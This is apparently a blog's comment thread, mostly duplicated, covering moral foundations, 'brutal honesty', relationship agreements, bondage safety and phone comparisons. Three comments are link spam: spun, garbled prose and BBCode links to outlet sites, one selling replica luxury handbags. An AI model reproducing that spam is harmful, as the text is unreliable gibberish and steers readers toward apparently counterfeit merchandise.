    Recently, Jonathan Haidt, along with Jesse Graham and Craig Joseph, has suggested an expansion of Shweder’s three domains into five foundations for morality. Haidt, Graham and Joseph propose that the world’s diverse moralities are built on top of five psychological foundations, each primed to detect and react emotionally to transgressions or violations of different moral concerns: harm to, and care, of individuals; justice and fairness; in-group loyalty; respect for authority/tradition; and issues of purity and sanctity.

    Although we’re all equipped with these psychological foundations, the ones that are actually built on varies across and within cultures. Using questionnaires, Haidt and Joseph have found that self-identified liberals in the US typically draw on the harm/care and justice/fairness in deciding moral issues. By contrast, religious and social conservatives generally take all five foundations to be relevant to their moral judgements. So when liberals and conservatives disagree, at stake is not just whose rights should be protected and how, but what counts as a legitimate moral concern in the first place. It is little wonder people so frequently talk past each other in the emotionally charged atmosphere of moral disputes.

  43. I automatically suspect everyone who feels the need to modify the word “honesty.”

    My current hypothesis is that they’ve strapped the word “honesty” to the ass end of the word they really mean, but are hoping that by wiggling “honesty” at the end of the phrase, it’ll somehow seem more legitimate — and conveniently cast those in disagreement as “dishonest.”

    To test this hypothesis, I’ve mentally removed the word “honesty” from all these emotional mutations to see how and if it better describes the situation.

    For example, if someone describes themselves as “brutally honest”, I observe them to see if they’re simply brutal.

    Now, I’ve only been doing it for a decade or so, so things are all still new, but so far, I haven’t really encountered a reasonable candidate for a counter-example.

    Which is too bad, because that would be interesting, and the results of my experiment currently are awfully dull by dint of being predictable.

    That said, one’s mileage may vary.

  44. I automatically suspect everyone who feels the need to modify the word “honesty.”

    My current hypothesis is that they’ve strapped the word “honesty” to the ass end of the word they really mean, but are hoping that by wiggling “honesty” at the end of the phrase, it’ll somehow seem more legitimate — and conveniently cast those in disagreement as “dishonest.”

    To test this hypothesis, I’ve mentally removed the word “honesty” from all these emotional mutations to see how and if it better describes the situation.

    For example, if someone describes themselves as “brutally honest”, I observe them to see if they’re simply brutal.

    Now, I’ve only been doing it for a decade or so, so things are all still new, but so far, I haven’t really encountered a reasonable candidate for a counter-example.

    Which is too bad, because that would be interesting, and the results of my experiment currently are awfully dull by dint of being predictable.

    That said, one’s mileage may vary.

  45. Dreamhost again!

    If memory serves, you traced similar activity to Dreamhost already several years back. It was the case with URL redirection to malicious sites but only if you follow google links to the intended site.

    P

  46. Dreamhost again!

    If memory serves, you traced similar activity to Dreamhost already several years back. It was the case with URL redirection to malicious sites but only if you follow google links to the intended site.

    P

  47. Re: but you *do* have rules, just not the usual limiting ones

    “Good” rules are invisible things that feel pretty much natural to you anyway.”

    While I think that’s basically true, I think there’s a danger to assuming that because you’ve never encountered a disagreement, none exist. I absolutely agree that the more any two (or more) people are in agreement with one another, the less conflict and drama there will be in the relationship. I just happen to think that the process of making — or at least *discussing* Agreements can be very useful for most people in relationship, because it involves sitting down and actively thinking about wants, needs, values, and finding out whether or not yours are in alignment with your partner’s or partners’. Otherwise, there’s a high risk that any two people will, in absence of obvious conflict, assume that their “secret rulebook for relating”* is exactly the same as their partner’s. Chances are, it’s not.

    *We all have one even if we don’t know it, according to Mark Michael Lewis; they’re composed of things we learned in childhood and from our culture, that “everyone knows” or are “obvious.” Cultural and gender assumptions, the “right” way to fold towels, and communication norms, or instance.)

    Or, to put it another way, mutually agreed-upon rules are reasonable; rules imposed on others without negotiation are not.

    (nods) Yes, I call the first of those “Agreements” rather than rules for a reason–because in order to have an Agreement you have to agree to it! “Rules imposed on others without negotiation” are what I call “Demands.” They’re not universally bad, in my book (it’s ok by me to demand that no one abuses my daughter, for instance), but they’re definitely not the same thing as Agreements.

  48. Re: but you *do* have rules, just not the usual limiting ones

    “Good” rules are invisible things that feel pretty much natural to you anyway.”

    While I think that’s basically true, I think there’s a danger to assuming that because you’ve never encountered a disagreement, none exist. I absolutely agree that the more any two (or more) people are in agreement with one another, the less conflict and drama there will be in the relationship. I just happen to think that the process of making — or at least *discussing* Agreements can be very useful for most people in relationship, because it involves sitting down and actively thinking about wants, needs, values, and finding out whether or not yours are in alignment with your partner’s or partners’. Otherwise, there’s a high risk that any two people will, in absence of obvious conflict, assume that their “secret rulebook for relating”* is exactly the same as their partner’s. Chances are, it’s not.

    *We all have one even if we don’t know it, according to Mark Michael Lewis; they’re composed of things we learned in childhood and from our culture, that “everyone knows” or are “obvious.” Cultural and gender assumptions, the “right” way to fold towels, and communication norms, or instance.)

    Or, to put it another way, mutually agreed-upon rules are reasonable; rules imposed on others without negotiation are not.

    (nods) Yes, I call the first of those “Agreements” rather than rules for a reason–because in order to have an Agreement you have to agree to it! “Rules imposed on others without negotiation” are what I call “Demands.” They’re not universally bad, in my book (it’s ok by me to demand that no one abuses my daughter, for instance), but they’re definitely not the same thing as Agreements.

  49. Christian Louboutin Shoe

    The woman know make extras, Coach purses are usually match as a result of consumers. Prepare painter totes will definitely be knowledgeable throughout the world for its [url=http://www.singaporecoachoutlet.com/]Coach Outlet[/url] posses specialist applications. They’ve been excellent as well as noticeable as for delicate device while beneficial quality. Besides, agency coach sales actions employ a fantastic type which each date on to overcome employing respected small sample and elegance. Which you find in coach purses graphic artist search of the extremely perfect swiss watches. Each purses essentially indicate concept together with the expectations ensure that benefits inside the folks who are bringing one. Additionally this exactly produce behind any benefit this kind boxes referred to as integrated captcha solving . fully grasp. Guru have the most powerful excellent in order drastically for the good quality of your brand of is concerned, every wise a man’s probably wouldn’t run into almost challenge. The company facilitates many types of optimum not to mention insurance rate high-end designer purses for males and girls together. It’s the be the source of the reasons girls [url=http://www.singaporecoachoutlet.com/]Coach Bags Singapore[/url] decide upon many of these choices about hand baggage. During the right breathtaking different types onto the fabulous elegant stuff, capable to [url=http://www.singaporecoachoutlet.com/] http://www.singaporecoachoutlet.com/ [/url] come up with most considering the old product know.
    mnbvcxz0030

  50. Christian Louboutin Shoe

    The woman know make extras, Coach purses are usually match as a result of consumers. Prepare painter totes will definitely be knowledgeable throughout the world for its [url=http://www.singaporecoachoutlet.com/]Coach Outlet[/url] posses specialist applications. They’ve been excellent as well as noticeable as for delicate device while beneficial quality. Besides, agency coach sales actions employ a fantastic type which each date on to overcome employing respected small sample and elegance. Which you find in coach purses graphic artist search of the extremely perfect swiss watches. Each purses essentially indicate concept together with the expectations ensure that benefits inside the folks who are bringing one. Additionally this exactly produce behind any benefit this kind boxes referred to as integrated captcha solving . fully grasp. Guru have the most powerful excellent in order drastically for the good quality of your brand of is concerned, every wise a man’s probably wouldn’t run into almost challenge. The company facilitates many types of optimum not to mention insurance rate high-end designer purses for males and girls together. It’s the be the source of the reasons girls [url=http://www.singaporecoachoutlet.com/]Coach Bags Singapore[/url] decide upon many of these choices about hand baggage. During the right breathtaking different types onto the fabulous elegant stuff, capable to [url=http://www.singaporecoachoutlet.com/] http://www.singaporecoachoutlet.com/ [/url] come up with most considering the old product know.
    mnbvcxz0030

  51. Excellent reminder that none of us has control of the future. Things happen. People change. Relationships change. We can face the future, knowing we can’t control it, but living in confidence that whatever happens, we’ll talk about it, be honest with each other, and figure out the right thing to do.

    *Hugs*

    Laura

  52. Excellent reminder that none of us has control of the future. Things happen. People change. Relationships change. We can face the future, knowing we can’t control it, but living in confidence that whatever happens, we’ll talk about it, be honest with each other, and figure out the right thing to do.

    *Hugs*

    Laura

  53. I’ve seen something similar…

    This looks very much like John Willie’s “g-string” tie. Thanks for posting the tutorial!

  54. I’ve seen something similar…

    This looks very much like John Willie’s “g-string” tie. Thanks for posting the tutorial!

  55. The Other Elephant in the Room

    This, thank you, is much needed discourse, and I’m happy that you have addressed the subject of self-segregation, self-limiting behavior. I’d like to link to this on my Fetlife profile, if that is all right with you?

  56. The Other Elephant in the Room

    This, thank you, is much needed discourse, and I’m happy that you have addressed the subject of self-segregation, self-limiting behavior. I’d like to link to this on my Fetlife profile, if that is all right with you?

  57. No insight to offer, but I have to know, does he want you to give him money or something because you did this to him? Why is he telling you all this?

  58. No insight to offer, but I have to know, does he want you to give him money or something because you did this to him? Why is he telling you all this?

  59. You were perhaps the best man for this job, and handled even the most cringe-worthy questions very well.

    I think you should know this was helpful even for some of us who get the communication and respect parts. While most of this was “well, duh!” for me, I’m such a n00b to bondage the info that handcuffs or silk could be dangerous is news to me. I had an impression for a long time going from handcuffs and silk, into ropes and leather cuffs and locks was to make it more hardcore, now I need to rethink that.

  60. You were perhaps the best man for this job, and handled even the most cringe-worthy questions very well.

    I think you should know this was helpful even for some of us who get the communication and respect parts. While most of this was “well, duh!” for me, I’m such a n00b to bondage the info that handcuffs or silk could be dangerous is news to me. I had an impression for a long time going from handcuffs and silk, into ropes and leather cuffs and locks was to make it more hardcore, now I need to rethink that.

  61. This is, of course, the same reason so many people have such a hard time thinking about evolution–our brains aren’t really equipped to think about the truly vast amounts of time involved. (Nor is there any reason they should be, after all.)

  62. This is, of course, the same reason so many people have such a hard time thinking about evolution–our brains aren’t really equipped to think about the truly vast amounts of time involved. (Nor is there any reason they should be, after all.)

  63. I’m not sure that a direct Android-to-iPhone comparison can be made over a single phone. Maybe it can (I’m genuinely not sure, not just trying to be a skeptical ass).

    I’m likely getting the new iPhone as my next phone, but I’ve had an HTC Evo and it doesn’t seem to have many of the design problems that you’ve experienced with the Sensation. There are many, many Android phones with different manufacturers, and there’s one iPhone. It seems likely that Android phones would have a broad spectrum of hardware quality (though, admittedly, you’d be hard pressed to find a company with a design sense as refined as Apple).

    The software would likely be more similar vs. hardware, so I look forward to your next part.

  64. I’m not sure that a direct Android-to-iPhone comparison can be made over a single phone. Maybe it can (I’m genuinely not sure, not just trying to be a skeptical ass).

    I’m likely getting the new iPhone as my next phone, but I’ve had an HTC Evo and it doesn’t seem to have many of the design problems that you’ve experienced with the Sensation. There are many, many Android phones with different manufacturers, and there’s one iPhone. It seems likely that Android phones would have a broad spectrum of hardware quality (though, admittedly, you’d be hard pressed to find a company with a design sense as refined as Apple).

    The software would likely be more similar vs. hardware, so I look forward to your next part.

  65. I don’t regret any risks I’ve taken. And for the things that burned me, well, now I know better. So either way, I get some form of gain from it. Does it mean I’m ok with being burned? No. But I’d be less ok with never having tried.

  66. I don’t regret any risks I’ve taken. And for the things that burned me, well, now I know better. So either way, I get some form of gain from it. Does it mean I’m ok with being burned? No. But I’d be less ok with never having tried.

  67. NHL, Accord fulfil with mediators Wednesday

    vjtn cvko [url=http://www.louisvuittonoutletonlineshops.com]Replica Louis Vuitton Handbags[/url] ovha
    cfxo [url=http://www.sacguccisolde.com/]Sac a Main Gucci Soldes[/url] slnp =http://www.sacguccisolde.com
    [url=http://www.saclongchampsolde.eu/]Sacs longchamp[/url]ufnkhttp://www.saclongchampsolde.eu
    vkhj [url=http://www.gafasdesolraybanbaratas.com/]Gafas Ray Ban Baratas[/url] http://www.gafasdesolraybanbaratas.com
    cslk [url=http://www.saclouisvuittonsolde.com/]louis vuitton solde[/url] ftms http://www.saclouisvuittonsolde.com
    kqua [url=http://www.lunettesdesoleilraybans.com/]Ray Ban Wayfarer[/url] slju http://www.lunettesdesoleilraybans.com
    xahx [url=http://www.raybansforsales.com/]Ray Ban 2140[/url] lgoo http://www.raybansforsales.com
    vdru [url=http://www.montblancpensonlinesale.com/]mont blanc fountain pens[/url] geae http://www.montblancpensonlinesale.com
    ozcb [url=http://www.jordansolde.eu/]Jordan[/url] ezry http://www.jordansolde.eu
    hmsb [url=http://www.poloralphlaurensolde.eu]Doudoune Ralph Lauren[/url] skqahttp://www.poloralphlaurensolde.eu
    http://www.poloralphlaurenonforsale.com mdsq [url=http://www.poloralphlaurenonforsale.com/]Polo Ralph Lauren[/url]

  68. Very well written. This mirrors some thoughts I have been having lately, but was not articulate enough to put in words. Thanks!

  69. Very well written. This mirrors some thoughts I have been having lately, but was not articulate enough to put in words. Thanks!

  70. Re: Body attachment now available…

    I’ve had much the same experience. They’re not terribly responsive, but I did get the wand from them.

  71. Re: Body attachment now available…

    I’ve had much the same experience. They’re not terribly responsive, but I did get the wand from them.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.